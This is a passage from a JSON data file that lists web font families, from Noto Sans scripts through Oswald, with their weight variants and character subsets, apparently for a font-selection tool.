Old Italic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-italic","name":"Old-italic"}]},"Noto Sans Old North Arabian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-north-arabian","name":"Old-north-arabian"}]},"Noto Sans Old Permic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-permic","name":"Old-permic"}]},"Noto Sans Old Persian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-persian","name":"Old-persian"}]},"Noto Sans Old Sogdian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-sogdian","name":"Old-sogdian"}]},"Noto Sans Old South Arabian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-south-arabian","name":"Old-south-arabian"}]},"Noto Sans Old Turkic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-turkic","name":"Old-turkic"}]},"Noto Sans Oriya":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"oriya","name":"Oriya"}]},"Noto Sans Osage":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"osage","name":"Osage"}]},"Noto Sans Osmanya":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"osmanya","name":"Osmanya"}]},"Noto Sans Pahawh Hmong":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"pahawh-hmong","name":"Pahawh-hmong"}]},"Noto Sans Palmyrene":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"palmyrene","name":"Palmyrene"}]},"Noto Sans Pau Cin Hau":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"pau-cin-hau","name":"Pau-cin-hau"}]},"Noto Sans Phags Pa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"phags-pa","name":"Phags-pa"}]},"Noto Sans Phoenician":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"phoenician","name":"Phoenician"}]},"Noto Sans Psalter Pahlavi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"psalter-pahlavi","name":"Psalter-pahlavi"}]},"Noto Sans Rejang":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"rejang","name":"Rejang"}]},"Noto Sans Runic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"runic","name":"Runic"}]},"Noto Sans SC":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Noto Sans Samaritan":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"samaritan","name":"Samaritan"}]},"Noto Sans Saurashtra":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"saurashtra","name":"Saurashtra"}]},"Noto Sans Sharada":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"sharada","name":"Sharada"}]},"Noto Sans Shavian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"shavian","name":"Shavian"}]},"Noto Sans Siddham":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"siddham","name":"Siddham"}]},"Noto Sans Sinhala":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"sinhala","name":"Sinhala"}]},"Noto Sans Sogdian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"sogdian","name":"Sogdian"}]},"Noto Sans Sora Sompeng":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"sora-sompeng","name":"Sora-sompeng"}]},"Noto Sans Soyombo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"soyombo","name":"Soyombo"}]},"Noto Sans Sundanese":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"sundanese","name":"Sundanese"}]},"Noto Sans Syloti Nagri":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"syloti-nagri","name":"Syloti-nagri"}]},"Noto Sans Symbols":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"symbols","name":"Symbols"}]},"Noto Sans Symbols 2":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"symbols","name":"Symbols"}]},"Noto Sans Syriac":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"400","name":"Normal 400"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"syriac","name":"Syriac"}]},"Noto Sans TC":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"chinese-traditional","name":"Chinese-traditional"},{"id":"latin","name":"Latin"}]},"Noto Sans Tagalog":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tagalog","name":"Tagalog"}]},"Noto Sans Tagbanwa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tagbanwa","name":"Tagbanwa"}]},"Noto Sans Tai Le":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tai-le","name":"Tai-le"}]},"Noto Sans Tai Tham":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"tai-tham","name":"Tai-tham"}]},"Noto Sans Tai Viet":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tai-viet","name":"Tai-viet"}]},"Noto Sans Takri":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"takri","name":"Takri"}]},"Noto Sans Tamil":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"tamil","name":"Tamil"}]},"Noto Sans Tamil Supplement":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tamil-supplement","name":"Tamil-supplement"}]},"Noto Sans Telugu":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"telugu","name":"Telugu"}]},"Noto Sans Thaana":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"thaana","name":"Thaana"}]},"Noto Sans Thai":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"thai","name":"Thai"}]},"Noto Sans Thai Looped":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"thai","name":"Thai"}]},"Noto Sans Tifinagh":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tifinagh","name":"Tifinagh"}]},"Noto Sans Tirhuta":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tirhuta","name":"Tirhuta"}]},"Noto Sans Ugaritic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"ugaritic","name":"Ugaritic"}]},"Noto Sans Vai":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"vai","name":"Vai"}]},"Noto Sans Wancho":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"wancho","name":"Wancho"}]},"Noto Sans Warang Citi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"warang-citi","name":"Warang-citi"}]},"Noto Sans Yi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"yi","name":"Yi"}]},"Noto Sans Zanabazar Square":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"zanabazar-square","name":"Zanabazar-square"}]},"Noto Serif":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Noto Serif Ahom":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"ahom","name":"Ahom"}]},"Noto Serif Armenian":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"armenian","name":"Armenian"}]},"Noto Serif Balinese":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"balinese","name":"Balinese"}]},"Noto Serif Bengali":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"bengali","name":"Bengali"}]},"Noto Serif Devanagari":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"}]},"Noto Serif Display":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Noto Serif Dogra":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"dogra","name":"Dogra"}]},"Noto Serif Ethiopic":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"ethiopic","name":"Ethiopic"}]},"Noto Serif Georgian":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"georgian","name":"Georgian"}]},"Noto Serif Grantha":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"grantha","name":"Grantha"}]},"Noto Serif Gujarati":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"gujarati","name":"Gujarati"}]},"Noto Serif Gurmukhi":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"}]},"Noto Serif Hebrew":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"hebrew","name":"Hebrew"}]},"Noto Serif JP":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Noto Serif KR":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Noto Serif Kannada":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"kannada","name":"Kannada"}]},"Noto Serif Khmer":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Noto Serif Lao":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"lao","name":"Lao"}]},"Noto Serif Malayalam":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"malayalam","name":"Malayalam"}]},"Noto Serif Myanmar":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"myanmar","name":"Myanmar"}]},"Noto Serif Nyiakeng Puachue Hmong":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"nyiakeng-puachue-hmong","name":"Nyiakeng-puachue-hmong"}]},"Noto Serif SC":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Noto Serif Sinhala":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"sinhala","name":"Sinhala"}]},"Noto Serif TC":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"chinese-traditional","name":"Chinese-traditional"},{"id":"latin","name":"Latin"}]},"Noto Serif Tamil":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"tamil","name":"Tamil"}]},"Noto Serif Tangut":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"tangut","name":"Tangut"}]},"Noto Serif Telugu":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"telugu","name":"Telugu"}]},"Noto Serif Thai":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"thai","name":"Thai"}]},"Noto Serif Tibetan":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"tibetan","name":"Tibetan"}]},"Noto Serif Yezidi":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"yezidi","name":"Yezidi"}]},"Noto Traditional Nushu":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"nushu","name":"Nushu"}]},"Nova Cut":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nova Flat":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nova Mono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"}]},"Nova Oval":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nova Round":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nova Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nova Slim":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nova Square":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Numans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nunito":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Nunito Sans":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Odibee Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Odor Mean Chey":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Offside":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Oi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"},{"id":"vietnamese","name":"Vietnamese"}]},"Old Standard TT":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Oldenburg":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ole":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Oleo Script":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Oleo Script Swash Caps":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Oooh Baby":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Open Sans":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Oranienbaum":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Orbitron":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"}]},"Oregano":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Orelega One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Orienta":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Original Surfer":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Oswald":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 